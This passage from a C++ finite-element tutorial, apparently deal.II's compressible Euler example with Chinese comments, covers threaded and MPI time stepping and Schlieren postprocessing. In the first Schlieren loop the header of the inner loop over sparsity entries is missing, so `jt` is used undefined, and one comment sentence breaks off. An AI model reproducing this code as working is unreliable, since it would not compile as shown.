\u5982\u679c\u4e24\u4e2a\u652f\u6301\u70b9\u521a\u597d\u90fd\u5728\u8fb9\u754c\u4e0a\uff0c\u6211\u4eec\u4e5f\u8981\u8ba1\u7b97 $d_{ji}$ \uff0c\u7136\u540e\u518d\u53d6 $\\max(d_{ij},d_{ji})$  \u3002\u5728\u8fd9\u4e4b\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u6700\u7ec8\u8bbe\u5b9a\u4e0a\u4e09\u89d2\u548c\u4e0b\u4e09\u89d2\u7684\u6761\u76ee\u3002\n\n                  if (boundary_normal_map.count(i) != 0 && \n                      boundary_normal_map.count(j) != 0) \n                    { \n                      const auto n_ji = gather(nij_matrix, j, i); \n                      const auto lambda_max_2 = \n                        ProblemDescription<dim>::compute_lambda_max(U_j, \n                                                                    U_i, \n                                                                    n_ji); \n                      const double norm_2 = norm_matrix(j, i); \n\n                      d = std::max(d, norm_2 * lambda_max_2); \n                    } \n\n                  set_entry(dij_matrix, jt, d); \n                  dij_matrix(j, i) = d; \n                } \n            } \n        }; \n\n      parallel::apply_to_subranges(indices_relevant.begin(), \n                                   indices_relevant.end(), \n                                   on_subranges, \n                                   4096); \n    } \n//<b>Step 2</b>: \u8ba1\u7b97\u5bf9\u89d2\u7ebf\u9879  $d_{ii}$  \u548c  $\\tau_{\\text{max}}$  \u3002\n\n// \u5230\u76ee\u524d\u4e3a\u6b62\uff0c\u6211\u4eec\u5df2\u7ecf\u8ba1\u7b97\u4e86\u77e9\u9635 <code>dij_matrix</code> \u7684\u6240\u6709\u975e\u5bf9\u89d2\u7ebf\u9879\u3002\u6211\u4eec\u4ecd\u7136\u9700\u8981\u586b\u8865\u5176\u5bf9\u89d2\u7ebf\u9879\uff0c\u5b9a\u4e49\u4e3a  $d_{ii}^n = - \\sum_{j \\in \\mathcal{I}(i)\\backslash \\{i\\}} d_{ij}^n$  \u3002\u6211\u4eec\u518d\u6b21\u4f7f\u7528 parallel::apply_to_subranges() \u6765\u5b9e\u73b0\u8fd9\u4e00\u76ee\u7684\u3002\u5728\u8ba1\u7b97 $d_{ii}$ s\u7684\u540c\u65f6\uff0c\u6211\u4eec\u4e5f\u786e\u5b9a\u4e86\u6700\u5927\u7684\u53ef\u63a5\u53d7\u7684\u65f6\u95f4\u6b65\u957f\uff0c\u5b9a\u4e49\u4e3a\n// \\f[\n//    \\tau_n \\dealcoloneq c_{\\text{cfl}}\\,\\min_{i\\in\\mathcal{V}}\n//    \\left(\\frac{m_i}{-2\\,d_{ii}^{n}}\\right) \\, .\n//  \\f] \n//  \u6ce8\u610f\uff0c $\\min_{i \\in \\mathcal{V}}$ \u7684\u64cd\u4f5c\u672c\u8d28\u4e0a\u662f\u5168\u5c40\u7684\uff0c\u5b83\u5728\u6240\u6709\u8282\u70b9\u4e0a\u64cd\u4f5c\uff1a\u9996\u5148\u6211\u4eec\u5fc5\u987b\u5728\u6240\u6709\u7ebf\u7a0b\uff08\u7279\u5b9a\u8282\u70b9\u7684\uff09\u4e0a\u53d6\u6700\u5c0f\u503c\uff0c\u7136\u540e\u6211\u4eec\u5fc5\u987b\u5728\u6240\u6709MPI\u8fdb\u7a0b\u4e0a\u53d6\u6700\u5c0f\u503c\u3002\u5728\u76ee\u524d\u7684\u5b9e\u73b0\u4e2d\u3002\n\n// - \u6211\u4eec\u5c06 <code>tau_max</code> \uff08\u6bcf\u4e2a\u8282\u70b9\uff09\u5b58\u50a8\u4e3a<a href=\"http:www.cplusplus.com/reference/atomic/atomic/\"><code>std::atomic<double></code></a>\u3002   <code>std::atomic</code> \u7684\u5185\u90e8\u5b9e\u73b0\u5c06\u5728\u4e00\u4e2a\u4ee5\u4e0a\u7684\u7ebf\u7a0b\u8bd5\u56fe\u540c\u65f6\u8bfb\u53d6\u548c/\u6216\u5199\u5165 <code>tau_max</code> \u65f6\uff0c\u8d1f\u8d23\u4fdd\u62a4\u4efb\u4f55\u53ef\u80fd\u7684\u7ade\u8d5b\u6761\u4ef6\u3002\n\n// - \u4e3a\u4e86\u53d6\u6240\u6709MPI\u8fdb\u7a0b\u7684\u6700\u5c0f\u503c\uff0c\u6211\u4eec\u4f7f\u7528\u5b9e\u7528\u51fd\u6570  <code>Utilities::MPI::min</code>  \u3002\n\n    std::atomic<double> tau_max{std::numeric_limits<double>::infinity()}; \n\n    { \n      TimerOutput::Scope scope(computing_timer, \n                               \"time_stepping - 2 compute d_ii, and tau_max\"); \n\n// on_subranges()\u5c06\u5728\u6bcf\u4e2a\u7ebf\u7a0b\u4e0a\u5355\u72ec\u6267\u884c\u3002\u56e0\u6b64\uff0c\u53d8\u91cf <code>tau_max_on_subrange</code> \u88ab\u5b58\u50a8\u5728\u7ebf\u7a0b\u672c\u5730\u3002\n\n      const auto on_subranges = // \n        [&](const auto i1, const auto i2) { \n          double tau_max_on_subrange = std::numeric_limits<double>::infinity(); \n\n          for (const auto i : \n               std_cxx20::ranges::iota_view<unsigned int, unsigned int>(*i1, \n                                                                        *i2)) \n            { \n              double d_sum = 0.; \n\n              for (auto jt = sparsity.begin(i); jt != sparsity.end(i); ++jt) \n                { \n                  const auto j = jt->column(); \n\n                  if (j == i) \n                    continue; \n\n                  d_sum -= get_entry(dij_matrix, jt); \n                } \n\n// \u6211\u4eec\u5c06d_ij\u9879\u7684\u8d1f\u6570\u4e4b\u548c\u5b58\u50a8\u5728\u5bf9\u89d2\u7ebf\u7684\u4f4d\u7f6e\u4e0a\u3002\n\n              dij_matrix.diag_element(i) = d_sum; \n\n// \u5e76\u8ba1\u7b97\u51fa\u6700\u5927\u7684\u5c40\u90e8\u65f6\u95f4\u6b65\u957f  <code>tau</code>  \u3002\n\n              const double mass   = lumped_mass_matrix.diag_element(i); \n              const double tau    = cfl_update * mass / (-2. * d_sum); \n              tau_max_on_subrange = std::min(tau_max_on_subrange, tau); \n            } \n// <code>tau_max_on_subrange</code>  \u5305\u542b\u4e3a\uff08\u7ebf\u7a0b\u5c40\u90e8\uff09\u5b50\u8303\u56f4\u8ba1\u7b97\u7684\u6700\u5927\u53ef\u80fd\u7684\u65f6\u95f4\u6b65\u957f\u3002\u5728\u8fd9\u4e00\u70b9\u4e0a\uff0c\u6211\u4eec\u5fc5\u987b\u5728\u6240\u6709\u7ebf\u7a0b\u4e0a\u540c\u6b65\u8be5\u503c\u3002\u8fd9\u5c31\u662f\u6211\u4eec\u4f7f\u7528<a\n//  href=\"http:www.cplusplus.com/reference/atomic/atomic/\"><code>std::atomic<double></code></a> \u7684\u539f\u56e0\u3002\n//<i>compare exchange</i> \u66f4\u65b0\u673a\u5236\u3002\n\n          double current_tau_max = tau_max.load(); \n          while (current_tau_max > tau_max_on_subrange && \n                 !tau_max.compare_exchange_weak(current_tau_max, \n                                                tau_max_on_subrange)) \n            ; \n        }; \n\n      parallel::apply_to_subranges(indices_relevant.begin(), \n                                   indices_relevant.end(), \n                                   on_subranges, \n                                   4096); \n\n// \u5728\u6240\u6709\u7ebf\u7a0b\u5b8c\u6210\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u7b80\u5355\u5730\u5728\u6240\u6709MPI\u8fdb\u7a0b\u4e2d\u540c\u6b65\u8be5\u503c\u3002\n\n      tau_max.store(Utilities::MPI::min(tau_max.load(), mpi_communicator)); \n\n// \u8fd9\u662f\u4e00\u4e2a\u9a8c\u8bc1\u8ba1\u7b97\u51fa\u7684 <code>tau_max</code> \u786e\u5b9e\u662f\u4e00\u4e2a\u6709\u6548\u6d6e\u70b9\u6570\u7684\u597d\u65f6\u673a\u3002\n\n      AssertThrow( \n        !std::isnan(tau_max.load()) && !std::isinf(tau_max.load()) && \n          tau_max.load() > 0., \n        ExcMessage( \n          \"I'm sorry, Dave. I'm afraid I can't do that. - We crashed.\")); \n    } \n//<b>Step 3</b>: \u6267\u884c\u66f4\u65b0\u3002\n\n// \u5728\u8fd9\u4e00\u70b9\u4e0a\uff0c\u6211\u4eec\u5df2\u7ecf\u8ba1\u7b97\u4e86\u6240\u6709\u7684\u7c98\u6027\u7cfb\u6570  $d_{ij}$  \u5e76\u4e14\u6211\u4eec\u77e5\u9053\u6700\u5927\u7684\u53ef\u63a5\u53d7\u7684\u65f6\u95f4\u6b65\u957f  $\\tau_{\\text{max}}$  \u3002\u8fd9\u610f\u5473\u7740\u6211\u4eec\u73b0\u5728\u53ef\u4ee5\u8ba1\u7b97\u66f4\u65b0\u4e86\u3002\n\n// \\f[\n   \\mathbf{U}_i^{n+1} = \\mathbf{U}_i^{n} - \\frac{\\tau_{\\text{max}} }{m_i}\n   \\sum_{j \\in \\mathcal{I}(i)} (\\mathbb{f}(\\mathbf{U}_j^{n}) -\n   \\mathbb{f}(\\mathbf{U}_i^{n})) \\cdot \\mathbf{c}_{ij} - d_{ij}\n   (\\mathbf{U}_j^{n} - \\mathbf{U}_i^{n})\n \\f]\n\n// \u8fd9\u4e2a\u66f4\u65b0\u516c\u5f0f\u4e0e\u4ecb\u7ecd\u4e2d\u8ba8\u8bba\u7684\u7565\u6709\u4e0d\u540c\uff08\u5728\u4f2a\u4ee3\u7801\u4e2d\uff09\u3002\u7136\u800c\uff0c\u53ef\u4ee5\u8bc1\u660e\u8fd9\u4e24\u4e2a\u516c\u5f0f\u5728\u4ee3\u6570\u4e0a\u662f\u7b49\u4ef7\u7684\uff08\u5b83\u4eec\u5c06\u4ea7\u751f\u76f8\u540c\u7684\u6570\u503c\uff09\u3002\u6211\u4eec\u66f4\u503e\u5411\u4e8e\u7b2c\u4e8c\u4e2a\u516c\u5f0f\uff0c\u56e0\u4e3a\u5b83\u5177\u6709\u81ea\u7136\u7684\u53d6\u6d88\u5c5e\u6027\uff0c\u53ef\u80fd\u6709\u52a9\u4e8e\u907f\u514d\u6570\u5b57\u4e0a\u7684\u4f2a\u5f71\u3002\n\n    { \n      TimerOutput::Scope scope(computing_timer, \n                               \"time_stepping - 3 perform update\"); \n\n      const auto on_subranges = // \n        [&](const auto i1, const auto i2) { \n          for (const auto i : boost::make_iterator_range(i1, i2)) \n            { \n              Assert(i < n_locally_owned, ExcInternalError()); \n\n              const auto U_i = gather(U, i); \n\n              const auto   f_i = ProblemDescription<dim>::flux(U_i); \n              const double m_i = lumped_mass_matrix.diag_element(i); \n\n              auto U_i_new = U_i; \n\n              for (auto jt = sparsity.begin(i); jt != sparsity.end(i); ++jt) \n                { \n                  const auto j = jt->column(); \n\n                  const auto U_j = gather(U, j); \n                  const auto f_j = ProblemDescription<dim>::flux(U_j); \n\n                  const auto c_ij = gather_get_entry(cij_matrix, jt); \n                  const auto d_ij = get_entry(dij_matrix, jt); \n\n                  for (unsigned int k = 0; k < problem_dimension; ++k) \n                    { \n                      U_i_new[k] += \n                        tau_max / m_i * \n                        (-(f_j[k] - f_i[k]) * c_ij + d_ij * (U_j[k] - U_i[k])); \n                    } \n                } \n\n              scatter(temporary_vector, U_i_new, i); \n            } \n        }; \n\n      parallel::apply_to_subranges(indices_owned.begin(), \n                                   indices_owned.end(), \n                                   on_subranges, \n                                   4096); \n    } \n//<b>Step 4</b>: \u4fee\u590d\u4e86\u8fb9\u754c\u72b6\u6001\u3002\n\n// \u4f5c\u4e3a\u6b63\u5411\u6b27\u62c9\u65b9\u6cd5\u7684\u6700\u540e\u4e00\u6b65\uff0c\u6211\u4eec\u5fc5\u987b\u4fee\u590d\u6240\u6709\u7684\u8fb9\u754c\u72b6\u6001\u3002\u6b63\u5982\u5728\u4ecb\u7ecd\u4e2d\u6240\u8ba8\u8bba\u7684\uff0c\u6211\u4eec\n\n// \u5728\u5b8c\u5168\u4e0d\u6ee1\u8db3\u8fb9\u754c\u6761\u4ef6\u7684\u60c5\u51b5\u4e0b\u8fdb\u884c\u65f6\u95f4\u63a8\u8fdb\u3002\n\n// -- \u5728\u65f6\u95f4\u6b65\u957f\u7ed3\u675f\u65f6\uff0c\u5728\u540e\u5904\u7406\u6b65\u9aa4\u4e2d\u5f3a\u529b\u6267\u884c\u8fb9\u754c\u6761\u4ef6\u3002\n\n// \u5728\u8fd9\u91cc\uff0c\u6211\u4eec\u8ba1\u7b97\u4fee\u6b63\\f[\n//    \\mathbf{m}_i \\dealcoloneq \\mathbf{m}_i - (\\boldsymbol{\\nu}_i \\cdot\n//    \\mathbf{m}_i) \\boldsymbol{\\nu}_i,\n//  \\f]\uff0c\u5b83\u6d88\u9664\u4e86 $\\mathbf{m}$ \u7684\u6cd5\u7ebf\u6210\u5206\u3002\n\n    { \n      TimerOutput::Scope scope(computing_timer, \n                               \"time_stepping - 4 fix boundary states\"); \n\n      for (auto it : boundary_normal_map) \n        { \n          const auto i = it.first; \n\n// \u6211\u4eec\u53ea\u5bf9\u672c\u5730\u62e5\u6709\u7684\u5b50\u96c6\u8fdb\u884c\u8fed\u4ee3\u3002\n\n          if (i >= n_locally_owned) \n            continue; \n\n          const auto &normal   = std::get<0>(it.second); \n          const auto &id       = std::get<1>(it.second); \n          const auto &position = std::get<2>(it.second); \n\n          auto U_i = gather(temporary_vector, i); \n\n// \u5728\u81ea\u7531\u6ed1\u79fb\u7684\u8fb9\u754c\u4e0a\uff0c\u6211\u4eec\u53bb\u9664\u52a8\u91cf\u7684\u6cd5\u5411\u5206\u91cf\u3002\n\n          if (id == Boundaries::free_slip) \n            { \n              auto m = ProblemDescription<dim>::momentum(U_i); \n              m -= (m * normal) * normal; \n              for (unsigned int k = 0; k < dim; ++k) \n                U_i[k + 1] = m[k]; \n            } \n\n// \u5728Dirichlet\u8fb9\u754c\u4e0a\uff0c\u6211\u4eec\u5f3a\u884c\u6267\u884c\u521d\u59cb\u6761\u4ef6\u3002\n\n          else if (id == Boundaries::dirichlet) \n            { \n              U_i = initial_values->initial_state(position, t + tau_max); \n            } \n\n          scatter(temporary_vector, U_i, i); \n        } \n    } \n//<b>Step 5</b>: \u6211\u4eec\u73b0\u5728\u5728\u6240\u6709MPI\u884c\u5217\u4e0a\u66f4\u65b0\u5e7d\u7075\u5c42\uff0c\u5c06\u4e34\u65f6\u5411\u91cf\u4e0e\u89e3\u51b3\u65b9\u6848\u5411\u91cf\u4ea4\u6362  <code>U</code>  \uff08\u5c06\u901a\u8fc7\u5f15\u7528\u8fd4\u56de\uff09\uff0c\u5e76\u8fd4\u56de\u9009\u62e9\u7684\u65f6\u95f4\u6b65\u957f  $\\tau_{\\text{max}}$  \u3002\n\n    for (auto &it : temporary_vector) \n      it.update_ghost_values(); \n\n    U.swap(temporary_vector); \n\n    return tau_max; \n  } \n// @sect4{Schlieren postprocessing}  \n\n// \u5728\u4e0d\u540c\u7684\u65f6\u95f4\u95f4\u9694\u5185\uff0c\u6211\u4eec\u5c06\u8f93\u51fa\u89e3\u51b3\u65b9\u6848\u7684\u5f53\u524d\u72b6\u6001 <code>U</code> \u4ee5\u53ca\u6240\u8c13\u7684Schlieren\u56fe\u3002 <code>SchlierenPostprocessor</code> \u7c7b\u7684\u6784\u9020\u51fd\u6570\u540c\u6837\u4e0d\u5305\u542b\u4efb\u4f55\u60ca\u559c\u3002\u6211\u4eec\u53ea\u662f\u63d0\u4f9b\u9ed8\u8ba4\u503c\u5e76\u6ce8\u518c\u4e24\u4e2a\u53c2\u6570\u3002\n\n// - schlieren_beta: \u662f\u4e00\u4e2a\u4e34\u65f6\u7684\u6b63\u5411\u653e\u5927\u7cfb\u6570\uff0c\u4ee5\u589e\u5f3a\u53ef\u89c6\u5316\u4e2d\u7684\u5bf9\u6bd4\u5ea6\u3002\u5b83\u7684\u5b9e\u9645\u503c\u662f\u4e00\u4e2a\u54c1\u5473\u95ee\u9898\u3002\n\n// - schlieren_index: \u662f\u4e00\u4e2a\u6574\u6570\uff0c\u8868\u793a\u6211\u4eec\u5c06\u4f7f\u7528\u72b6\u6001 $[\\rho, \\mathbf{m},E]$ \u4e2d\u7684\u54ea\u4e2a\u7ec4\u4ef6\u6765\u751f\u6210\u53ef\u89c6\u5316\u3002\n\n  template <int dim> \n  SchlierenPostprocessor<dim>::SchlierenPostprocessor( \n    const MPI_Comm          mpi_communicator, \n    TimerOutput &           computing_timer, \n    const OfflineData<dim> &offline_data, \n    const std::string &     subsection /*= \"SchlierenPostprocessor\"*/) \n    : ParameterAcceptor(subsection) \n    , mpi_communicator(mpi_communicator) \n    , computing_timer(computing_timer) \n    , offline_data(&offline_data) \n  { \n    schlieren_beta = 10.; \n    add_parameter(\"schlieren beta\", \n                  schlieren_beta, \n                  \"Beta factor used in Schlieren-type postprocessor\"); \n\n    schlieren_index = 0; \n    add_parameter(\"schlieren index\", \n                  schlieren_index, \n                  \"Use the corresponding component of the state vector for the \" \n                  \"schlieren plot\"); \n  } \n\n// \u540c\u6837\uff0c <code>prepare()</code> \u51fd\u6570\u521d\u59cb\u5316\u4e86\u4e24\u4e2a\u4e34\u65f6\u5411\u91cf\uff08  <code>r</code> and <code>schlieren</code>  \uff09\u3002\n\n  template <int dim> \n  void SchlierenPostprocessor<dim>::prepare() \n  { \n    TimerOutput::Scope scope(computing_timer, \n                             \"schlieren_postprocessor - prepare scratch space\"); \n\n    r.reinit(offline_data->n_locally_relevant); \n    schlieren.reinit(offline_data->partitioner); \n  } \n\n// \u6211\u4eec\u73b0\u5728\u8ba8\u8bba\u7c7b\u6210\u5458 <code>SchlierenPostprocessor<dim>::compute_schlieren()</code> \u7684\u5b9e\u73b0\uff0c\u5b83\u57fa\u672c\u4e0a\u662f\u53d6\u72b6\u6001\u5411\u91cf <code>U</code> \u7684\u4e00\u4e2a\u5206\u91cf\u5e76\u8ba1\u7b97\u8be5\u5206\u91cf\u7684Schlieren\u6307\u6807\uff08Schlieren\u6307\u6807\u7684\u516c\u5f0f\u53ef\u4ee5\u5728\u7c7b\u7684\u58f0\u660e <code>SchlierenPostprocessor</code> \u4e4b\u524d\u627e\u5230\uff09\u3002\u6211\u4eec\u9996\u5148\u6ce8\u610f\u5230\u8fd9\u4e2a\u516c\u5f0f\u9700\u8981 \"\u7ed3\u70b9\u68af\u5ea6\"  $\\nabla r_j$  \u3002\u7136\u800c\uff0c\u5bf9\u4e8e  $\\mathcal{C}^0$  \u6709\u9650\u5143\u51fd\u6570\u6765\u8bf4\uff0c\u68af\u5ea6\u7684\u8282\u70b9\u503c\u5e76\u6ca1\u6709\u5b9a\u4e49\u3002\u66f4\u4e3a\u666e\u904d\u7684\u662f\uff0c\u68af\u5ea6\u7684\u70b9\u503c\u5bf9\u4e8e $W^{1,p}(\\Omega)$ \u51fd\u6570\u6ca1\u6709\u5b9a\u4e49\u3002\u6211\u4eec\u53ef\u4ee5\u7528\u6700\u7b80\u5355\u7684\u6280\u672f\u6765\u6062\u590d\u8282\u70b9\u7684\u68af\u5ea6\uff0c\u5373\u52a0\u6743\u5e73\u5747\u6cd5\u3002\n\n// \\f[ \\nabla r_j \\dealcoloneq \\frac{1}{\\int_{S_i} \\omega_i(\\mathbf{x}) \\,\n//  \\mathrm{d}\\mathbf{x}}\n//   \\int_{S_i} r_h(\\mathbf{x}) \\omega_i(\\mathbf{x}) \\, \\mathrm{d}\\mathbf{x}\n//  \\ \\ \\ \\ \\ \\mathbf{(*)} \\f]\n\n// \u5176\u4e2d $S_i$ \u662f\u5f62\u72b6\u51fd\u6570 $\\phi_i$ \u7684\u652f\u6301\uff0c\u800c $\\omega_i(\\mathbf{x})$ \u662f\u6743\u91cd\u3002\u6743\u91cd\u53ef\u4ee5\u662f\u4efb\u4f55\u6b63\u51fd\u6570\uff0c\u5982 $\\omega_i(\\mathbf{x}) \\equiv 1$ \uff08\u8fd9\u5c06\u4f7f\u6211\u4eec\u6062\u590d\u901a\u5e38\u7684\u5747\u503c\u6982\u5ff5\uff09\u3002\u4f46\u662f\u50cf\u5f80\u5e38\u4e00\u6837\uff0c\u6211\u4eec\u7684\u76ee\u6807\u662f\u5c3d\u53ef\u80fd\u591a\u5730\u91cd\u590d\u4f7f\u7528\u79bb\u7ebf\u6570\u636e\u3002\u5728\u8fd9\u4e2a\u610f\u4e49\u4e0a\uff0c\u6700\u81ea\u7136\u7684\u6743\u91cd\u9009\u62e9\u662f $\\omega_i = \\phi_i$  \u3002\u5c06\u8fd9\u79cd\u6743\u91cd\u7684\u9009\u62e9\u548c\u6269\u5c55 $r_h(\\mathbf{x}) = \\sum_{j \\in \\mathcal{V}} r_j \\phi_j(\\mathbf{x})$ \u63d2\u5165 $\\mathbf{(*)}$ \u4e2d\uff0c\u6211\u4eec\u5f97\u5230:\n\n//  \\f[\n//  \\nabla r_j \\dealcoloneq \\frac{1}{m_i} \\sum_{j \\in \\mathcal{I}(i)} r_j\n// \\mathbf{c}_{ij} \\ \\ \\ \\ \\ \\mathbf{(**)} \\, . \n//  \\f]\n\n// \u4f7f\u7528\u8fd9\u6700\u540e\u4e00\u4e2a\u516c\u5f0f\uff0c\u6211\u4eec\u53ef\u4ee5\u6062\u590d\u5e73\u5747\u7684\u8282\u70b9\u68af\u5ea6\uff0c\u800c\u4e0d\u9700\u8981\u501f\u52a9\u4efb\u4f55\u5f62\u5f0f\u7684\u6b63\u4ea4\u3002\u8fd9\u4e2a\u60f3\u6cd5\u4e0e\u57fa\u4e8e\u8fb9\u7f18\u7684\u65b9\u6848\uff08\u6216\u4ee3\u6570\u65b9\u6848\uff09\u7684\u6574\u4f53\u7cbe\u795e\u975e\u5e38\u543b\u5408\uff0c\u6211\u4eec\u5e0c\u671b\u5c3d\u53ef\u80fd\u76f4\u63a5\u5bf9\u77e9\u9635\u548c\u5411\u91cf\u8fdb\u884c\u64cd\u4f5c\uff0c\u4ee5\u907f\u514d\u4f7f\u7528\u53cc\u7ebf\u6027\u5f62\u5f0f\u3001\u5355\u5143\u73af\u3001\u6b63\u4ea4\uff0c\u6216\u5728\u8f93\u5165\u53c2\u6570\uff08\u4e0a\u4e00\u65f6\u95f4\u6b65\u7684\u72b6\u6001\uff09\u548c\u8ba1\u7b97\u66f4\u65b0\u6240\u9700\u7684\u5b9e\u9645\u77e9\u9635\u548c\u5411\u91cf\u4e4b\u95f4\u7684\u4efb\u4f55\u5176\u4ed6\u4e2d\u95f4\u7ed3\u6784/\u64cd\u4f5c\u3002\n\n// \u7b2c\u4e8c\u4ef6\u8981\u6ce8\u610f\u7684\u4e8b\u60c5\u662f\uff0c\u6211\u4eec\u5fc5\u987b\u8ba1\u7b97\u5168\u5c40\u6700\u5c0f\u548c\u6700\u5927  $\\max_j |\\nabla r_j|$  \u548c  $\\min_j |\\nabla r_j|$  \u3002\u6309\u7167\u5728\u7c7b\u6210\u5458 <code>%TimeStepping\\<dim>::%step()</code> \u4e2d\u7528\u4e8e\u8ba1\u7b97\u65f6\u95f4\u6b65\u957f\u7684\u76f8\u540c\u601d\u8def\uff0c\u6211\u4eec\u5c06 $\\max_j |\\nabla r_j|$ \u548c $\\min_j |\\nabla r_j|$ \u5b9a\u4e49\u4e3a\u539f\u5b50\u53cc\u6570\uff0c\u4ee5\u89e3\u51b3\u7ebf\u7a0b\u4e4b\u95f4\u7684\u4efb\u4f55\u51b2\u7a81\u3002\u50cf\u5f80\u5e38\u4e00\u6837\uff0c\u6211\u4eec\u4f7f\u7528 <code>Utilities::MPI::max()</code> \u548c <code>Utilities::MPI::min()</code> \u6765\u5bfb\u627e\u6240\u6709MPI\u8fdb\u7a0b\u4e2d\u7684\u5168\u5c40\u6700\u5927/\u6700\u5c0f\u503c\u3002\n\n// \u6700\u540e\uff0c\u4e0d\u53ef\u80fd\u5728\u6240\u6709\u8282\u70b9\u4e0a\u5355\u6b21\u5faa\u73af\u8ba1\u7b97Schlieren\u6307\u6807\u3002\u6574\u4e2a\u64cd\u4f5c\u9700\u8981\u5728\u8282\u70b9\u4e0a\u8fdb\u884c\u4e24\u6b21\u5faa\u73af\u3002\n\n\n\n// - \u7b2c\u4e00\u4e2a\u5faa\u73af\u5bf9\u7f51\u683c\u4e2d\u6240\u6709\u7684 $|\\nabla r_i|$ \u8fdb\u884c\u8ba1\u7b97\uff0c\u5e76\u8ba1\u7b97\u8fb9\u754c $\\max_j |\\nabla r_j|$ \u548c $\\min_j |\\nabla r_j|$  \u3002\n\n// - \u7b2c\u4e8c\u4e2a\u5faa\u73af\u6700\u540e\u7528\u516c\u5f0f\u8ba1\u7b97Schlieren\u6307\u6807\n\n// \\f[ \\text{schlieren}[i] = e^{\\beta \\frac{ |\\nabla r_i|\n//  - \\min_j |\\nabla r_j| }{\\max_j |\\nabla r_j| - \\min_j |\\nabla r_j| } }\n//  \\, . \n//  \\f]\n\n// \u8fd9\u610f\u5473\u7740\u6211\u4eec\u5c06\u4e0d\u5f97\u4e0d\u4e3a\u6bcf\u4e00\u4e2a\u9636\u6bb5\u5b9a\u4e49\u4e24\u4e2a\u5de5\u4f5c\u8005 <code>on_subranges</code> \u3002\n\n  template <int dim> \n  void SchlierenPostprocessor<dim>::compute_schlieren(const vector_type &U) \n  { \n    TimerOutput::Scope scope( \n      computing_timer, \"schlieren_postprocessor - compute schlieren plot\"); \n\n    const auto &sparsity            = offline_data->sparsity_pattern; \n    const auto &lumped_mass_matrix  = offline_data->lumped_mass_matrix; \n    const auto &cij_matrix          = offline_data->cij_matrix; \n    const auto &boundary_normal_map = offline_data->boundary_normal_map; \n    const auto &n_locally_owned     = offline_data->n_locally_owned; \n\n    const auto indices = \n      std_cxx20::ranges::iota_view<unsigned int, unsigned int>(0, \n                                                               n_locally_owned); \n\n// \u6211\u4eec\u5c06\u5f53\u524dMPI\u8fdb\u7a0b\u4e2d\u7684r_i_max\u548cr_i_min\u5b9a\u4e49\u4e3a\u539f\u5b50\u500d\u6570\uff0c\u4ee5\u907f\u514d\u7ebf\u7a0b\u4e4b\u95f4\u7684\u7ade\u8d5b\u6761\u4ef6\u3002\n\n    std::atomic<double> r_i_max{0.}; \n    std::atomic<double> r_i_min{std::numeric_limits<double>::infinity()}; \n\n// \u7b2c\u4e00\u4e2a\u5faa\u73af\uff1a\u8ba1\u7b97\u6bcf\u4e2a\u8282\u70b9\u7684\u5e73\u5747\u68af\u5ea6\u4ee5\u53ca\u68af\u5ea6\u7684\u5168\u5c40\u6700\u5927\u503c\u548c\u6700\u5c0f\u503c\u3002\n\n    { \n      const auto on_subranges = // \n        [&](const auto i1, const auto i2) { \n          double r_i_max_on_subrange = 0.; \n          double r_i_min_on_subrange = std::numeric_limits<double>::infinity(); \n\n          for (const auto i : boost::make_iterator_range(i1, i2)) \n            { \n              Assert(i < n_locally_owned, ExcInternalError()); \n\n              Tensor<1, dim> r_i; \n\n \n                { \n                  const auto j = jt->column(); \n\n                  if (i == j) \n                    continue; \n\n                  const auto U_js = U[schlieren_index].local_element(j); \n                  const auto c_ij = gather_get_entry(cij_matrix, jt); \n                  r_i += c_ij * U_js; \n                } \n\n// \u6211\u4eec\u5728\u81ea\u7531\u6ed1\u79fb\u8fb9\u754c\u56fa\u5b9a\u68af\u5ea6r_i\uff0c\u7c7b\u4f3c\u4e8e\u6211\u4eec\u5728\u6b63\u5411\u6b27\u62c9\u6b65\u9aa4\u4e2d\u56fa\u5b9a\u8fb9\u754c\u72b6\u6001\u7684\u65b9\u5f0f\u3002    \u8fd9\u6837\u53ef\u4ee5\u907f\u514d\u5728\u81ea\u7531\u6ed1\u79fb\u8fb9\u754c\u7684Schlieren\u56fe\u4e2d\u51fa\u73b0\u5c16\u9510\u7684\u3001\u4eba\u4e3a\u7684\u68af\u5ea6\uff0c\u8fd9\u7eaf\u7cb9\u662f\u4e00\u79cd\u5916\u89c2\u4e0a\u7684\u9009\u62e9\u3002\n\n              const auto bnm_it = boundary_normal_map.find(i); \n              if (bnm_it != boundary_normal_map.end()) \n                { \n                  const auto &normal = std::get<0>(bnm_it->second); \n                  const auto &id     = std::get<1>(bnm_it->second); \n\n                  if (id == Boundaries::free_slip) \n                    r_i -= 1. * (r_i * normal) * normal; \n                  else \n                    r_i = 0.; \n                } \n\n// \u6211\u4eec\u63d0\u9192\u8bfb\u8005\uff0c\u6211\u4eec\u5bf9\u7ed3\u70b9\u68af\u5ea6\u672c\u8eab\u5e76\u4e0d\u611f\u5174\u8da3\u3002\u6211\u4eec\u53ea\u60f3\u5f97\u5230\u5b83\u4eec\u7684\u89c4\u8303\uff0c\u4ee5\u4fbf\u8ba1\u7b97Schlieren\u6307\u6807\uff08\u7528\u5757\u72b6\u8d28\u91cf\u77e9\u9635 $m_i$  \u52a0\u6743\uff09\u3002\n\n              const double m_i    = lumped_mass_matrix.diag_element(i); \n              r[i]                = r_i.norm() / m_i; \n              r_i_max_on_subrange = std::max(r_i_max_on_subrange, r[i]); \n              r_i_min_on_subrange = std::min(r_i_min_on_subrange, r[i]); \n            } \n\n// \u6211\u4eec\u5c06current_r_i_max\u548ccurrent_r_i_min\uff08\u5728\u5f53\u524d\u5b50\u8303\u56f4\u5185\uff09\u4e0er_i_max\u548cr_i_min\uff08\u5bf9\u4e8e\u5f53\u524dMPI\u8fdb\u7a0b\uff09\u8fdb\u884c\u6bd4\u8f83\uff0c\u5e76\u5728\u5fc5\u8981\u65f6\u8fdb\u884c\u66f4\u65b0\u3002\n\n          double current_r_i_max = r_i_max.load(); \n          while (current_r_i_max < r_i_max_on_subrange && \n                 !r_i_max.compare_exchange_weak(current_r_i_max, \n                                                r_i_max_on_subrange)) \n            ; \n\n          double current_r_i_min = r_i_min.load(); \n          while (current_r_i_min > r_i_min_on_subrange && \n                 !r_i_min.compare_exchange_weak(current_r_i_min, \n                                                r_i_min_on_subrange)) \n            ; \n        }; \n\n      parallel::apply_to_subranges(indices.begin(), \n                                   indices.end(), \n                                   on_subranges, \n                                   4096); \n    } \n\n// \u5728\u6240\u6709MPI\u8fdb\u7a0b\u4e2d\u540c\u6b65 <code>r_i_max</code> and <code>r_i_min</code> \u3002\n\n    